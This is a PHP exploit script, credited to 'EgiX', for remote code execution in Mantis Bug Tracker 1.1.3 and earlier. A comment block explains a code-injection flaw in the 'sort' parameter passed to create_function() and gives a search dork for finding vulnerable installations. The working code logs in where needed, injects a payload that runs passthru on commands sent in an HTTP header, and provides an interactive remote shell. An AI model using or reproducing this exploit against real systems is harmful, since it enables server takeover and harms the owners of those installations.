<?php

/*
  --------------------------------------------------------------------------------
  Mantis Bug Tracker <= 1.1.3 (manage_proj_page.php) Remote Code Execution Exploit
  --------------------------------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://www.mantisbt.org/
  dork.....: "Powered by Mantis Bugtracker"
  
  This PoC was written for educational purpose. Use it at your own risk.
  Author will be not responsible for any damage.
  
  [-] vulnerable code in /manage_proj_page.php
  
  32.  $f_sort  = gpc_get_string( 'sort', 'name' ); <=== this is taken and stripslashed from $_GET['sort']
  33.  $f_dir  = gpc_get_string( 'dir', 'ASC' );
  
  (...)
  
  89.  $t_projects = multi_sort( $t_full_projects, $f_sort, $t_direction ); <=== and here is passed to multi_sort()
  90.  $t_stack    = array( $t_projects );
  
  [-] multi_sort() function defined into /core/utility_api.php
  
  185.  # --------------------
  186.  # Sort a multi-dimensional array by one of its keys
  187.  function multi_sort( $p_array, $p_key, $p_direction=ASCENDING ) {
  188.    if ( DESCENDING == $p_direction ) {
  189.      $t_factor = -1;
  190.    } else {
  191.      # might as well allow everything else to mean ASC rather than erroring
  192.      $t_factor = 1;
  193.    }
  194.
  195.    $t_function = create_function( '$a, $b', "return $t_factor * strnatcasecmp( \$a['$p_key'], \$b['$p_key'] );" );
  196.    uasort( $p_array, $t_function );
  197.    return $p_array;
  198.  }
  
  An attacker could be able to inject and execute PHP code through $_GET['sort'],  that is passed to create_function()
  at line 195 into multi_sort() function body. By default only registered users can access to manage_proj_page.php
  (I've tested this on 1.1.3 version), because of this sometimes this PoC works only with a valid account.
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
  $sock = fsockopen($host, 80);
  while (!$sock)
  {
    print "\n[-] No response from {$host}:80 Trying again...";
    $sock = fsockopen($host, 80);
  }
  fputs($sock, $packet);
  while (!feof($sock)) $resp .= fread($sock, 1024);
  fclose($sock);
  return $resp;
}

function check_login()
{
  global $host, $path, $user, $pass, $cookie;
  
  $packet  = "GET {$path}manage_proj_page.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  if (preg_match("/Location: login_page.php/", http_send($host, $packet)))
  {
    if (isset($pass))
    {
      $payload = "username={$user}&password={$pass}";
      $packet  = "POST {$path}login.php HTTP/1.0\r\n";
      $packet .= "Host: {$host}\r\n";
      $packet .= "Cookie: PHPSESSID=".md5("foo")."\r\n";
      $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
      $packet .= "Content-Length: ".strlen($payload)."\r\n";
      $packet .= "Connection: close\r\n\r\n";
      $packet .= $payload;
      
      if (!preg_match("/Set-Cookie: (.*);/", http_send($host, $packet), $match)) die("\n[-] Login failed...\n");
      $cookie = $match[1];
    }
    else die("\n[-] Credentials needed...\n");
  }
}

print "\n+-------------------------------------------------------------------+";
print "\n| Mantis Bug Tracker <= 1.1.3 Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage......: php $argv[0] host path [user] [password]\n";
  print "\nExample....: php $argv[0] localhost /mantis/";
  print "\nExample....: php $argv[0] localhost / user pass\n";
  die();
}

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

check_login();

$code   = "']);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}manage_proj_page.php?sort={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=".md5("foo").(isset($cookie) ? "; {$cookie}" : "")."\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
  print "\nmantis-shell# ";
  $cmd = trim(fgets(STDIN));
  if ($cmd != "exit")
  {
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
  }
  else break;
}

?>